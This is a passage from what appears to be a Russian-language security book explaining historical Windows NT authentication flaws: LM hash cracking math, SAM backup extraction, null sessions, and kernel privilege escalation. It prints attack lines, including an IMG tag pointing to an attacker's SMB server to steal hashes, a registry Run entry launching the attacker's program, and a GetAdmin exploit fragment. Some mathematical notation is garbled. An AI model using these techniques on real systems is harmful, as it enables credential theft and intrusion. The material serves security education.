«…в наши дни большие информационные системы хорошо защищены, в них использу...

«…в наши дни большие информационные системы хорошо защищены, в них используются пароли и очень сложные коды. Но Клюг участвовал в разработке большинства из этих систем. Нужен дьявольски хитрый замок, чтобы не пустить в дом того, кто делал замки всю жизнь»

(John Warley. “Press Enter”)

Перед началом работы с сервером пользователю необходимо зарегистрироваться в системе. В большинстве случаев допускается как удаленная (по сети), так и локальная (с клавиатуры, подсоединенной к компьютеру-серверу) регистрация. Но, со времен появления UNIX, разработчики накопили богатый опыт в борьбе со злоумышленниками и придумали новые алгоритмы, успешно функционирующие даже в агрессивной среде.

Под «агрессивностью» понимается способность злоумышленника вмешиваться и контролировать процесс аутентификации. Например, telnet-клиент, при входе на UNIX-сервер, посимвольно передает введенные пользователем имя и пароль (по одному символу в каждом пакете) [149]. Очевидно, если злоумышленнику удастся перехватить все пакеты [150], он сумеет восстановить пароль.

Ничуть не безопасней локальная регистрация - под UNIX существует множество закладок, имитирующих процедуру входа в систему, а на самом деле похищающих пароли. Поэтому, разработчики подсистемы защиты Windows NT Джим Келли (Jim Kelly) и Клифф Ван Дайк (Cliff Van Dyke) «подцепили» процедуру регистрации на комбинацию клавиш “Alt-Ctrl-Del”. Никакое приложение, исполняющееся с пользовательскими привилегиями, не способно в этот момент захватить управление. Конечно, системные драйверы вольны перехватывать что угодно, в том числе и нажатие “Atl-Ctrl-Del”, но право установки новых драйверов в систему дано только администратору, а непривилегированные пользователи установить подобную закладку в Windows NT уже не смогут [151].

Однако такая защита не очень-то помогает, если используется автоматический вход в систему (а используется он удручающе часто [152]). В ветке реестра “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrenetVersion\Winlogon”, по умолчанию доступной группе Everyone (всем пользователям), содержатся имя пользователя, вошедшего в систему, (“DefaultUsername”) и его пароль (“DefaultPassword”). Если удаленные подключения разрешены, любой член группы Everyone (т.е. всякий, зарегистрированный в системе), сможет просмотреть указанную ветвь реестра, со всеми отсюда вытекающими (для администратора) последствиями.

Но можно ли считать защищенной машину с выключенной автоматической регистрацией? Фирма Microsoft утверждает якобы да (а что ей еще остается делать?), но атакованные злоумышленниками администраторы (и, очевидно, сами злоумышленники), похоже, придерживаются иного мнения на этот счет.

Внешне процедура аутентификации выглядит безупречно. Клиент, установив сессию по протоколу NetBIOS, уведомляет сервер о своем желании вступить с ним в связь, посылая сообщение SMB_CON_NEGOTIATE, в котором перечисляются все известные клиенту диалекты SMB.

Сервер, выбрав самый современный из доступных ему и клиенту протоколов [153], возвращает либо случайную 8-байтовую последовательность, именуемую challenge [154], либо просьбу передать пароль в открытом виде [155].

Клиент, в отклик, посылает сообщение SMB_SESSION_SETUP_ANDX, содержащее пользовательское имя (открытым текстом); открытый пароль или challenge, зашифрованный хеш - значением пароля.

Сервер извлекает из базы данных (в просторечии «файла паролей») оригинальный хеш пароля данного пользователя, шифрует им challenge и сравнивает полученный результат с откликом клиента. Если они совпадают - хорошо, а нет - invalid user.

Важно понять, challenge шифруется хеш - значением, а не наоборот. В противном случае, никакого смысла в challenge не было бы - злоумышленник, перехватив запрос сервера и ответ клиента, сумел бы расшифровать хеш - значение и получить несанкционированный доступ к серверу (а серверу для аутентификации кроме имени пользователя и хеша ничего не нужно, ведь незашифрованный пароль он и сам не знает).

Говоря математическим языком, если f - функция шифрования, key - ключ, а value - шифруемые данные, то: f(value) ?^key® crypt, а F(crypt) ?^key® value, где F - функция дешифрования. Если key - challenge, а value - хеш пароля, то злоумышленник, перехватив challenge и crypt, сможет восстановить хеш - значение пароля! Но как все изменится, если key - хеш, а value - challenge! Тогда, чтобы из crypt извлечь challenge (а на кой его извлекать, когда оно и без того известно?!), необходимо знать ключ шифрования - хеш значение пароля, а его как раз и требуется найти. Причем, функция шифрования специально подобрана так, чтобы, зная исходный и зашифрованный текст (то есть challenge и crypt), вычислить ключ (key, он же хеш - значение пароля) было невозможно, иначе, чем прямым перебором.

Строго говоря, сервер также не в состоянии расшифровать ответ клиента, ибо не имеет никакого представления, каким ключом он был зашифрован. Но это и не нужно! Функция необратимого шифрования позволяет установить идентичность аргументов, но не позволяет узнать сами аргументы по значению функции. Математически это можно выразить так. Пусть f(x) ® y, f(x₁) ® y₁; тогда, очевидно если y -y₁, то и x - x₁. [156]

Описанная выше схема (именуемая «запрос-отклик») нечувствительная к перехвату канала связи (то есть перехват y не дает никакого представления о значении x), но критична к криптостойкости используемых алгоритмов хеширования и шифрования (а так же, разумеется, защищенности «хранилища» хеш-значений паролей).

Операционная система Windows NT 4.0 (Windows 2000) поддерживает один алгоритм шифрования и, по крайней мере, два алгоритма хеширования: хеш LAN Manager (далее просто LM-хеш), разработанный Microsoft для операционной системы IBM OS/2, а позже интегрированный в Windows 3.1, Windows 3.11 for Workgroups, Windows 95, Windows 98 и, собственно, свой «родной» NT-хеш.

В базе данных диспетчера учетных записей SAM (Security Account Manager) обычно хранятся оба хеш значения - как LM-хеш, так и NT-хеш, поэтому, клиент для аутентификации может посылать либо LM-хеш, либо NT-хеш, либо и тот и другой сразу. Но если поменять свой пароль из операционной системы, не поддерживающей NT-хеш, его значение в базе SAM аннулируется [157]! Теперь, для аутентификации клиент вынужден передавать LM-хеш, до тех пор, пока вновь не поменяет свой пароль из операционной системы поддерживающий оба типа хеш -значений одновременно. Поэтому большинство клиентов посылают и LM, и NT хеш, даже если требуется лишь один из них [158].

Алгоритм получения LM-хеша при ближайшем рассмотрении выглядит так: пароль, введенный пользователем, превращается в строку фиксированной длины, равной четырнадцати символам. Короткие пароли расширяются добавлением нулевых элементов, а длинные усекаются. Все символы из множества ‘a’-‘z’ переводятся в верхний регистр, и, полученная в результате этой операции, строка расчленяется на две независимые половинки, состоящие из семи символов. Каждая из них играет роль ключа для шифровки последовательности нулей алгоритмом DES. Затем, полученные строки дописываются друг к другу, образуя шестнадцати байтовый LM-хеш.

Независимое хеширование половинок пароля, в 1 000 000 000 000 000 раз уменьшает количество попыток, требующихся для его перебора (а вовсе не в два раза, как это может показаться на первый взгляд). Это же какой талант надо иметь, чтобы допустить такой ляп! Уж сколько раз твердили миру (то бишь разработчикам) - не разводите самодеятельность, используйте проверенные временем алгоритмы, да только все не впрок.

Но эмоции эмоциями, а как все это звучит на языке математики? Путь f - некая хеш функция, а x_1…7y_8…14 - введенный пользователем пароль. Тогда LM-хеш будет равен f(x)+2⁶⁴*f(y), поскольку область допустимых значений функции f лежит в интервале целых неотрицательных чисел, не превышающих 2⁶⁴, то поиск подходящего пароля заключается в решении двух уравнений (где P - искомый пароль, а H значение LM-хеша):

1. DES(0) -^P1…7® H_1…8; [159]

2. DES(0) -^P8…14® H_9…16;

Какие существуют способы решения данных уравнений? Алгоритм DES специально разрабатывался так, чтобы, зная исходный (в данном случае строка нулей) и зашифрованный (в данном случае восемь байт хеш - значения) тексты, злоумышленник не мог эффективно вычислить ключ шифрования (искомый пароль). Обсуждение надежности функции DES выходит за рамки данной книги, поэтому все дальнейшие рассуждения исходят из того, что она достаточно криптостойка [160].

Но алгоритм DES нестоек к перебору! Он не требует больших объемов вычислений и допускает существование эффективных реализаций. В среднем случае злоумышленнику потребуется 1+k+k²+k³+k⁴+k⁵+k⁶+k⁷ операций [161] для подбора пароля, где k максимально допустимое количество символов, использующихся для составления пароля [162]. Это намного меньше ожидаемого количества операций, необходимых для подбора четырнадцати символьного пароля!

1+k+k²+k³+k⁴+k⁵+k⁶+k⁷ «(1+k+k²+k³+k⁴+k⁵+k⁶+k⁷⁺+k⁸+k⁹+k¹⁰+k¹¹+k¹²+k¹³+k¹⁴)*1/2, где знак “«” обозначает «намного меньше». И пароль, состоящий из восьми и более символов, окажется ничуть не сложнее пароля, состоящего всего из семи символов! Фактически система запрашивает два семисимвольных пароля и обрабатывает их независимо друг от друга [163].

Причем, пароли, состоящие менее чем из восьми символов, легко распознать! Если пароль, введенный пользователем, оказывается меньше четырнадцати символов, то система расширяет его до требуемой длины нулями. Пусть пользователь ввел пароль из семи или менее символов, тогда P_8…14 = 0, а DES(0) -^P8…14® 0xAAD3B435B5140EE - однако, константа! (А, разработчики, однако, чукчи).

Поэтому, если старшие восемь байт LM-хеша равны 0xAAD3B435B5140EE, то исходный пароль состоит из семи или менее символов. Впрочем, на результаты поиска это не оказывает сильного влияния (дальше будет объяснено почему).

Если оптимизировать алгоритм, то скорость перебора можно увеличить вдвое! В самом деле, совершенно ни к чему дважды вычислять значение функции DES в уравнении 1 и в уравнении 2, поскольку области определения обеих функций одинаковы. Следовательно, для каждого P достаточно один раз вычислить значение DES(0) и поочередно сравнить его с H_1…8; и с H_9…16. Если пренебречь временем, затраченным на сравнение значения функции с H_1…8 и H_9…16 (а их для ускорения можно поместить в один 16-разрядный регистр), то скорость перебора возрастет вдвое!

Однако хеш никогда не передается в открытом виде по сети, поэтому злоумышленнику перехватить его невозможно. Клиент передает серверу challenge, зашифрованный хеш - значением пароля, с помощью алгоритма DES. Поскольку, сомневаться в надежности алгоритма DES не приходится, то, кажется, что вычислить хеш пароля никакой возможности нет, и остается действовать только методом перебора.

Поскольку хеш представляет собой 16-байтовую строку, то всего возможно 2¹²⁸ комбинаций, то есть перебор потребует нереальных вычислительных мощностей, недоступных злоумышленнику. Даже для современных суперкомпьютеров эта задача слишком сложна. Если, конечно, реализация алгоритма DES свободна от ошибок [164].

А такие ошибки и в самом деле есть - функция DES трижды шифрует challenge, используя в качестве ключей различные фрагменты хеш - значения пароля, чем значительно уменьшает количество попыток, требуемых для его подбора. Алгоритм шифрования при близком рассмотрении выглядит так:

К шестнадцатибайтовому хеш - значению дописываются пять нулей, образуя последовательность из двадцати одного байта (16+5=21) обозначенную в этой книге как h_1…21.

Эта последовательность разрезается на три равных части по семь байт, обозначенные h_1…7, h_8…14, h_15…21.

Каждая их них используется в качестве ключа для шифровки challenge, переданного сервером, с помощью алгоритма DES.

Полученный результат (обозначенный как R) отсылается на сервер. Весь процесс математически можно выразить так:

1. DES(challenge) -^h1…7® R_1…8

2. DES(challenge) -^h8…14® R_9…16

3. DES(challenge) -^h15…21® R_17…24

Создается такое впечатление, что парни из Microsoft не могут шифровать строки, состоящие более чем из семи символов, вот поэтому-то и прибегают к их разрезанию.

Поскольку пять старших байт ключа h_15…21 известны заранее (они содержат нули, дописанные для расширения ключа до двадцатиоднобайтовой строки), то для решения уравнения DES(challenge) -^h15…21® R_17…24 необходимо перебрать всего два байта. В худшем случае это потребует 2¹⁶ операций, а в среднем вдвое меньше 2¹⁵. Если же длина пароля составляет менее восьми символов, то h₁₅…h₂₁ всегда равны 0x04EE0000000000, поэтому короткие пароли элементарно распознать с одного взгляда!

В свою очередь, это облегчает решение уравнения DES(0) -^P8…14®H_9…16, поскольку H_15…16=h_15…16. Перебором всех возможных значений P_8…14, всего за 1+k+k²+k³+k⁴+k⁵+k⁶+k⁷ операций можно найти всех «кандидатов» в пароли, которых будет не более чем (1+k+k²+k³+k⁴+k⁵+k⁶+k⁷⁾/2¹⁶.

Остается перебрать 2⁸*(1+k+k²+k³+k⁴+k⁵+k⁶+k⁷⁾/2¹⁶ комбинаций, чтобы среди «кандидатов» в ключи уравнения DES(challenge) -^h8…14® R_9…16 найти единственный действительный ключ.

Уравнение же DES(challenge) -^h1…7® R_1…8 решается перебором 1+k+k²+k³+k⁴+k⁵+k⁶+k⁷ вариантов в худшем случае и (1+k+k²+k³+k⁴+k⁵+k⁶+k⁷)/2 в среднем, а сравнения значений DES(0) -^P1…7®H_1…8;можно вести одновременно с DES(0)-^P8…14®H_9…16 сократив количество требуемых операций вдвое.

Но сколько времени [165] в худшем случае займет поиск пароля? Для этого необходимо знать величину k (количество допустимых символов) и скорость вычисления функции DES. В пароль могу входить: 10 цифр ‘0’-‘9’, 26 заглавных букв латинского алфавита ‘A’-‘Z’ и все 32 спецсимвола. Итого выходит 10+26+32=68. Следовательно, всего существует 68⁰+68¹+68²+68³+68⁴+68⁵+68⁶+68⁷=6 823 331 935 125 или приблизительно 7 x 10¹² комбинаций.

Скорость же вычисления функции DES в зависимости от производительности процессора и эффективности реализации алгоритма варьируется от стотысячных (на младших моделях процессора Pentium) до миллионных (Pentium III, XEON) долей секунды.

В худшем случае поиск пароля потребует 2¹⁶+(1+k+k²+k³+k⁴+k⁵+k⁶+k⁷)+2¹⁶*(1+k+k²+k³+k⁴+k⁵+k⁶+k⁷)/2¹⁶ операций, т.е. 2¹⁶+2*(1+k+k²+k³+k⁴+k⁵+k⁶+k⁷), а в среднем и того меньше: 2¹⁵+(1+k+k²+k³+k⁴+k⁵+k⁶+k⁷).

Если перебирать все возможные пароли со скоростью 500 000 операций в секунду, то поиск займет в худшем случае (65 536+ 2*6 823 331 935 125) / 500 000 = 27 293 328 секунд или около 316 дней, а в среднем порядка ста пятидесяти дней.

Но если перебирать пароли, состоящие из одних латинских символов, то в худшем случае процесс закончится за 33 412 секунд, то есть займет всего около девяти часов, а в среднем за срок, вдвое меньший - порядка четырех часов! (Разумеется, если искомый пароль действительно состоит из одних латинских символов).

Процесс перебора очень легко распараллелить, задействовав более одного компьютера. Группа злоумышленников, вооруженная десятком Pentium II способна гарантированно найти любой пароль менее чем за месяц. А если учесть, что пользователи склонны выбирать не абсолютно случайные, а в той или иной степени осмысленные пароли, этот срок можно заметно сократить.

Существует готовая программная реализация, описанной выше атаки, воплощенная в утилиту 10phtcrack, которая занимается подбором LM и NT хешей. Авторы разработки - некто L0pht Heavy Industries (http://www.l0pht.com/).

Разработчики L0phtCrack 2.5 - утверждают, что с ее помощью на Pentium II/300 более 90% паролей удается найти в течение 48 часов, а 18% паролей вскрываются менее чем за 10 минут!

Приведенные цифры интересны сами по себе. При условии криптостойкости алгоритма DES (а в его криптостойкости сомневаться не приходится), грубой силой небходимо перебрать по крайней мере порядка 1+k+k²+k³+k⁴+k⁵+k⁶+k⁷ комбинаций. И если бы L0PhtCrack 2.5 действовал тривиальным перебором, для обеспечения заявленной скорости перебора ему пришлось бы совершать (1+k+k²+k³+k⁴+k⁵+k⁶+k⁷)/(48*60*60) операций в секунду, то есть 6 823 331 935 125 / 172800 =39 486 874 - почти сорок миллионов вычислений функции DES каждую секунду. Даже старшие модели процессоров Pentium не обеспечивают такой производительности!

На самом деле, L0phtCrack 2.5 комбинирует «лобовую» атаку с перебором по словарю. Этим и объясняется полученный результат. Однако словарная атака не гарантирует, что пароль все-таки будет в конце концов найден, и для нахождения оставшихся 10% паролей L0phtCrack тратит значительно больше сорока восьми часов.

Поэтому, реальное время, требуемое для нахождения пароля, в значительной мере определяется его наличием (отсутствием) в словаре, а вовсе не скоростью перебора.

Существует возможность задать в качестве одного из символов пароля знак перевода каретки. Его можно ввести с вспомогательной цифровой клавиатуры, удерживая клавишу Alt (т.е. “Alt+’0 1 3’”). Большинство переборщиков паролей не учитывают такой тонкости и не включают этот символ в список допустимых символов. Поэтому, в какой-то степени это затрудняет злоумышленнику проникновение в систему.

Впрочем, весьма вероятно, что уже следующие версии переборщиков исправят свою ошибку и смогут корректно обрабатывать символ переноса строки.

Для получения NT-хеша используется алгоритм MD4, преобразующий 128 символьную Unicode строку к 16-байтовому хеш - значению. Впрочем, Диспетчер Пользователей (User Manager) ограничивает длину пароля до 14 символами, и в большинстве случаев в паролях отсутствуют символы национальных алфавитов. Поэтому можно ограничится перебором «всего лишь» 68⁰+68¹+68²+68³+68⁴+68⁵+68⁶+68⁷+68⁸+68⁹+68¹⁰+68¹¹+68¹²+68¹³+68¹⁴ комбинаций, а чаще и того меньше (учитывая склонность пользователей к коротким паролям в пределах шести - восьми символов). Но сложности эффективной реализации функции MD4, которая (в зависимости от степени оптимизации) вычисляется в четыре - пятьдесят раз медленнее функции DES на том же самом процессоре, чрезвычайно затрудняют «лобовой» перебор. Остается актуальной лишь атака по словарю.

В отличие от UNIX, процедура аутентификации Windows NT не использует ничего похожего на привязку (slat) и если пароли двух пользователей случайным образом совпадут, то и их хеш - значения окажутся идентичны! Как показывает практика, в многопользовательской системе такое событие не редкость.

Если совместимость с другими операционными системами не требуется, можно отказаться от поддержки LM-хешей. Именно такое решение и предложила Microsoft в Service Pack 4, но допустила одну досадную ошибку (ну, как всегда!). Если после запрета использования LM-хеша, пользователь, меняя пароль, пошлет один только LM-хеш, то операционная система его благополучно «проглотит», но аннулирует обе записи в базе SAM. Нулевое же значение обоих хеш - значений интерпретируется процедурой аутентификации как отсутствие пароля. А это, в свою очередь, позволяет злоумышленнику проникнуть в систему.

Однако в большинстве случаев сервер должен уметь общаться с клиентами, оснащенными Windows 95 (Windows 98), поэтому поддержка LAN Manager включена, в том числе, и в Windows 2000, которая в полной мере подвержена описанной выше атаке.

Забавно, несмотря на то, что процедура аутентификации LAN Manager изначально разрабатывалась, как устойчивая к перехвату сетевого трафика, Microsoft настоятельно рекомендует использовать дополнительное шифрование трафика (реализованное, например в VPN - Virtual Private Network). В противном случае сервер может быть легко взломан.

Для перехвата трафика существует следующие штанные средства - Microsoft Network Monitor (работает в среде Windows), tcpdump (работает в среде UNIX) и подобные им.

Но существует возможность не подбирать хеш, а… похитить его у клиента. Достаточно установить у себя SMB сервер и, попросив кого-нибудь зайти на него, невзначай спросить имя пользователя и хеш - значение пароля. Идея, в общем-то, не нова. Нечто похожее пытались осуществить и во времена UNIX. И чаще всего - безрезультатно, ведь необходим очень доверчивый (или глупый) пользователь, одновременно с этим обладающий высокими привилегиями (а какой прок в пароле, не дающим никаких привилегий?).

Но, тогда еще не додумались до WEB! Сегодня же ситуация изменилась: стоит поместить на страничку ссылку типа “«IMG SRC=file:////my.own.smb.server/mypets.jpg»“ и дождаться пока жертва не вздумает на нее зайти [166]. Когда это, наконец, произойдет, Internet Explorer или Netscape Navigators автоматически, не запрашивая подтверждения, передадут имя пользователя и хеш-значение пароля, под которым пользователь вошел в систему.

Впервые на эту ненормальность обратил внимание Аарон Спанглер, а за ним обнаружили и другие. Атаке оказались подвержены все версии Windows NT 3.5-4.0 вплоть до последних Service Pack, а так же Windows 95 и Windows for Workgroups.

Но существуют и другие способы несанкционированного вторжения в систему. В Windows NT наличествует так называемый гостевой вход (“Guest Account”) с пустым паролем. На сервере он по умолчанию заблокирован, а на рабочих станциях открыт! Получить доступ к узлу сети, пускай на гостевых правах - это уже происшествие, а вход в систему с привилегиями администратора - катастрофа.

Разумеется, на рабочей станции пароль администратора не хранится. Собственно, в Windows NT пароли вообще нигде не хранятся. Вместо этого в базу данных SAM (Security Account Manager) заносятся хеш - значения паролей. Сама база хранится в файле “%SystemRoot%\SYSTEM32\CONFIG\sam”, доступ к которому закрыт системой. Файл “sam” представляет собой ветвь реестра “HKEY_LOCAL_MACHINE\SECURITY\SAM”, права чтения которого предоставляются только администратору (и то, по умолчанию они заблокированы). Функции API, манипулирующие с именами пользователя и хеш - значением, недоступны непривилегированным пользователям. Словом, защита выглядит как будто безупречной и неприступной.

Тем временем, резервная копия системы, хранящаяся в каталоге “%SystemRoot%\Repair” в любое время доступна каждому члену группы Everyone [167]! Резервная копия создается при установке (или переустановке) Windows NT, а так же всякий раз при запуске утилиты “rdisk” с ключом “/s”. Распаковав добытый файл командой “expand sam._ sam” [168], злоумышленник сможет извлечь из него имена пользователей и хеш - значения паролей. Существуют и готовые программные реализации, например, утилита SAMDUMP Дмитрия Адрианова (входит в пакет L0phtcrack).

Конечно, самих паролей в базе не будет, но для удаленной регистрации они не нужны! Поэтому, злоумышленнику без труда удастся подключиться к серверу. И если на нем окажется свежая резервная копия файла sam с действующим паролем администратора, то… Вообще-то, опытный администратор заранее отключит все гостевые выходы и уничтожит резервные копии (либо лишит пользователей прав доступа к ним), но все же описанная атака достаточно актуальна.

В Service Pack 3 входит утилита syskey, позволяющая усилить защиту базы SAM и всех ее резервных копий путем дополнительного шифрования со 128-битным ключом. Ключ не обязательно хранить в системе - он может быть записан на дискету (и тогда ее потребуется вставить в дисковод перед началом регистрации в системе), а если дисководы в целях безопасности удалены, то ключ допустимо генерировать на основе пароля администратора системы. Защита может быть установлена как на сервере, так и на рабочих станциях. Но если ключ окажется утерян, вход систему станет невозможным!

Технические подробности работы утилиты syskey содержатся в статье Q143475 базы знаний Microsoft.

Но, помимо гостевого входа, который элементарно отключить, в Windows NT существует анонимный пользователь, обладающий правами на просмотр списка пользователей, разделенных ресурсов и некоторых (между прочим, достаточно многих) ветвей системного реестра. Анонимный пользователь необходим системе для организации нуль сессий (NULL session), использующихся для выполнения действий, не требующих аутентификации (или в тех случаях, когда аутентификация невозможна). Например, пусть в сети находятся два домена Windows NT, условно обозначаемых «D₁» и «D₂». Если «D₁» доверяет «D₂», а сам «D₂» не доверяет «D₁», то для получения списка пользователей и групп, расположенных на «недоверчивом» домене, приходится прибегать к анонимному подсоединению.

Анонимным пользователям доступен специальный ресурс IPC$ (inter-process communication), подключить который можно командной «net use \\name\IPC$ “” /USER:””», где name - сетевое имя компьютера или его IP адрес. Злоумышленник получает возможность запускать User Manager для просмотра пользователей и групп, Event Viewer для просмотра журнала событий, а так же другие средства удаленного администрирования, основанные на протоколе SMB.

Ветвь реестра «HKLM\Software\Microsoft\Windows\CurrentVersion\Run», содержащая имена программ, которые запускаются при каждой локальной регистрации пользователя, доступна анонимному пользователю, и для чтения, и для модификации. Изменяя ее по своему усмотрению, злоумышленник сможет выполнить не только одну из программ, хранящихся на сервере, но и любую из программ, находящихся на его компьютере! Для этого он должен записать нечто вроде “\\mycomputer\myprog”, где mycomputer - имя компьютера злоумышленника или его IP адрес. Командный файл выполняется с привилегиями локально зашедшего на сервер пользователя (а локально на сервер, как правило, заходят, администраторы). А, получив права администратора, злоумышленник может сделать с сервером все что угодно (например, узнать имена и хеш - значения всех остальных пользователей).

В 1997 году вышла программная реализация такой атаки, получившая название RedButton. Компания Microsoft выпустила горячую заплатку для Windows NT 3.51 и включила соответствующие исправления в Service Pack 3 для Windows NT 4.0. А в «базе знаний» Microsoft (Microsoft Knowledge Base) появилась достаточно подробная техническая заметка Q143474, развернуто объясняющая суть проблемы.

Но Service Pack не устранял возможность анонимного подключения, а только ограничивал права анонимного пользователя. Компания Microsoft открыто признавала (в технической заметке Q129457 базы знаний), что «…with RestrictAnonymous access enabled, anonymous connections are able to obtain the password policy from a Windows NT Server. The password policy defines the Windows NT domain policy with respect to the minimum password length, whether blank passwords are permitted, maximum password age, and password history».

Технически регистрация в системе организована так, что проверка password policy осуществляется до аутентификации пользователя. Например, заведомо короткий пароль не стоит и проверять. В Windows NT policy доступны всем, в том числе и анонимному пользователю (и даже после установки Service Pack 3!). Злоумышленник сможет узнать: минимальную длину пароля, как часто меняются пароли, и какое количество неудачных попыток регистрации блокирует учетную запись (если блокировка включена). Полученная информация значительно облегчает проникновение в систему.

А еще в policy открытым текстом хранятся предыдущие используемые пароли [169], (так, называемая история паролей). С точки зрения безопасности пароли необходимо периодически менять, - причем они не должны повторятся (во всяком случае, спустя короткое время). Например, в истории могут храниться пять последних паролей пользователя, и при смене пароля система проверяет, - не совпадает ли новый пароль с одним из них. Конечно, это старые пароли, недействительные на текущий момент, но их изучение позволяет понять: по какому принципу назначаются пароли, - выбираются ли словарные слова, даты рождения родственников, имена любимых хомячков или абсолютно случайные последовательности. Кстати, не исключено, что рано или поздно пользователь вновь выберет один из старых паролей, возможно, несколько его видоизменив.

Компания Microsoft подтверждает наличие такой дыры [170], предостерегая пользователей и администраторов от повторного выбора паролей. Но это не решает проблемы. Если пароли выбираются не абсолютно случайно, изучая их периодическую смену, злоумышленник может угадать очередной пароль или, по крайней мере, сузить круг перебора. Среди множества пользователей наверняка окажутся такие, кто халатно относится к безопасности и всегда выбирает короткие, запоминающиеся последовательности (а, следовательно, предсказуемые).

Компания Microsoft утверждает, что Windows NT позволяет ограничить рабочие станции, с которых пользователь может входить в систему. И это чистая правда, - администратор легко может контролировать легального пользователя (в чем каждый с легкостью имеет возможность убедиться), а как на счет злоумышленника?

Увы! Прикладной протокол SMB реализуется поверх транспортных протоколов, совместимых с интерфейсом NetBIOS. А при установлении соединения по протоколу NetBIOS, сервер проверяет имя, сообщенное ему клиентом, а не его IP адрес! Злоумышленнику достаточно знать (или выяснить методом перебора) с каких рабочих станций разрешен вход на сервер, а подделать их имена - дело техники. Если быть совсем точным - NetBIOS сервер вообще не проверяет имя, переданное клиентом - это забота SMB-сервера, а до начала SMB-сессии никакое протоколирование установленных соединений не ведется!

Другую полезную для себя информацию злоумышленник может получить с помощью протокола SNMP (Simple Network Management Protocol). Протокол SNMP обеспечивает мониторинг сети, и обычно используется администраторами, которые с его помощью могут отслеживать и оперативно реагировать на возникшие проблемы, а так же настаивать сеть на максимальную производительность.

Протокол SNMP реализован поверх протокола UDP и не требует установки постоянного соединения. Порт 161 обрабатывает пакеты, содержащие ответ или запрос (PDU - Protocol Data Units), а пакеты служебных сообщений (TrapPDU) направляются на порт 161.

Одна из задач, возлагаемых на SNMP - поддержка распределенной информационной базы управления MIB (Management Information Base). В узлах сети, находятся агенты - программные модули, собирающие информацию об управляемых объектах и размещающие полученную информацию в своих локальных переменных. Протокол SNMP обеспечивает обмен контрольной информацией между элементами сети и предоставляет доступ к базе MIB.

При обмене сообщениями агенты используют механизмы аутентификации (часто уязвимые для взлома), а для доступа к базе MIB достаточно знать, так называемое, имя сообщества (community name), по умолчанию public. А в базе MIB Windows NT среди прочего содержится следующая информация:

· Таблица сервисов, запущенных на сервере, включая название и состояние сервиса

· Число парольных нарушений, зарегистрированных на сервере

· Тип разграничения доступа (на уровне пользователей или на уровне ресурсов)

· Перечень сессий, включая имена станций клиентов и состояние сессии

· Перечень учетных записей сервера

· Перечень разделяемых ресурсов сервера, с указанием локальных путей

Информация подобного рода значительно упрощает несанкционированное вторжение в систему и по идее не должна быть доступна злоумышленнику. Известны многочисленные случаи, когда сервис finger, сообщающий значительно меньше данных об активных пользователях, становился главной причиной успешности удаленных атак. Поэтому, зачастую он отключается администраторами, становясь в наши дни экзотической редкостью. Насколько же более богатой информацией злоумышленника снабжают MIB-база и нуль сессии! Но, в отличие от сервера finger, их не так-то легко отключить!

Все способы, описанные выше, в той или иной мере, устраняются правильным администрированием сети и не гарантируют злоумышленнику проникновения в систему. Часто атакующий действует наугад, отыскивая наименее защищенный узел, а не пытается получить доступ к какой-то одной, конкретной машине.

Мусорные баки и корзины издавна служили источником ценной информации. И копания в «мусорной корзине» Windows NT так же способны извлечь на свет докумет, содержащий конфиденциальные данные.

Поэтому, в Windows NT существует возможность предоставления каждому пользователю своей собственной корзины. При нормальном развитии событий, никакой пользователь, не обладающий правами администратора, не может получить доступ к чужой корзине. Но друг от друга корзины отличаются всего лишь идентификатором пользователя SID, который злоумышленнику легко выяснить (существуют API функции, выдающие идентификатор пользователя по его имени). Если злоумышленник изменит идентификатор свой корзины на идентификатор корзины жертвы, то файлы, удаляемые жертвой, попадут в руки злоумышленника.

Впрочем, существование двух корзин с одинаковыми идентификаторами приводит к непредсказуемому поведению системы, поэтому стабильная работа обеспечивается лишь в том случае, когда злоумышленник подделывает свою корзину до создания корзины жертвы, что маловероятно, т.к. обычно корзина создается сразу же после регистрации нового пользователя системы. Но до регистрации пользователя не известен его SID.

Таким образом, подобная уязвимость не представляет больной опасности, но все же достаточно любопытна сама по себе.

Но если в коде ядра операционной системы присутствуют ошибки, позволяющие пользователю вмешиваться в работу системных процессов, то злоумышленник сможет получить любые привилегии, в том числе и администратора! Изучая работу модуля ntoskrnl.exe, Константин Соболев (sob@cmp.phys.msu.su) обратил внимание на то, что функция “NtAddAtom” не контролирует значение аргумента, указывающего адрес для записи результатов успешности своей работы. Поскольку функция “NtAddAtom” выполняется ядром и имеет привилегии System, она может писать, что ей вздумается и куда вздумается. Но функция win32 API “AddAtom”, содержит переходной код, который сохраняет результат работы “NtAddAtom” в локальной переменной, откуда и возвращает значение пользователю. Однако через программное прерывание 0x2E можно получить доступ непосредственно к функциям ядра, без высокоуровневых оберток.

Ниже приведен фрагмент программы “GetAdmin”, написанной Константином Соболевым, которая позволяет пользователю получать права администратора.

· for(i=0;i«0x100;i++)
· {
· sprintf(string,"NT now cracking… pass %d",i);
· if(handle amp; 0xf00){
· stack[1] = (DWORD)pNtGlobalFlag+1;
·}
· __asm
· {
· mov eax, callnumber;
· mov edx, stack;
· lea edx,dword ptr [stack]
· int 0x2e;
·}
· if(stack[1] - pNtGlobalFlag+1)
· break;

Реакция Microsoft в описании Соболева выглядит так: «30 июля 1997 я послал письмо в Microsoft, что так и так, есть такой баг. Через пару дней получил ответ от господина N, что я ошибся, и вообще моя программа не работает. Послав программу на www.ntsecurity.net и на news я убедился, что она все-таки работает. После публикации мне пришло письмо от господина NN из Microsoft (должностью повыше, чем N) с просьбой сообщить имя господина N».

Другая ошибка (правда, на этот раз не ядра, а прикладного сервиса) связана с неправильной обработкой относительных путей файлов и каталогов, доступных через протокол SMB. Если у злоумышленника есть доступ хотя бы к одному из каталогов на удаленной машине, он сможет добраться и до остальных, используя конструкцию “…\\”. Правда, ему потребуется создать свою реализацию клиента, ибо клиенты, поставляемые Microsoft выполняют дополнительные проверки и для атаки непригодны.

Вообще же, если у пользователя есть право отладки приложений, ему должны быть доступны функции “WriteProcessMemory” и “CreateRemoteThread”, позволяющие как угодно распоряжаться системой по своему усмотрению. Поскольку, ни один здравомыслящий администратор потенциальному злоумышленнику такого права не даст, тому приходится присваивать его самостоятельно. К сожалению, описание алгоритма такой атаки выходит за рамки данной книги, но существует утилита Sechole, написанная Prasad Dabak, Sandeep Phadke и Milind Borate, которая замещает код функции “OpenProcess” (проверяющий наличие прав отладки приложений перед открытием процесса) и затем, пользуясь отладочными функциями, помещает текущего пользователя в группу администраторов.

Служба редиректора так же имеет ошибки реализации, позволяющие любому пользователю получить права администратора или нарушить нормальную работу сервера, поэтому имеет смысл подробно остановится на этом моменте.

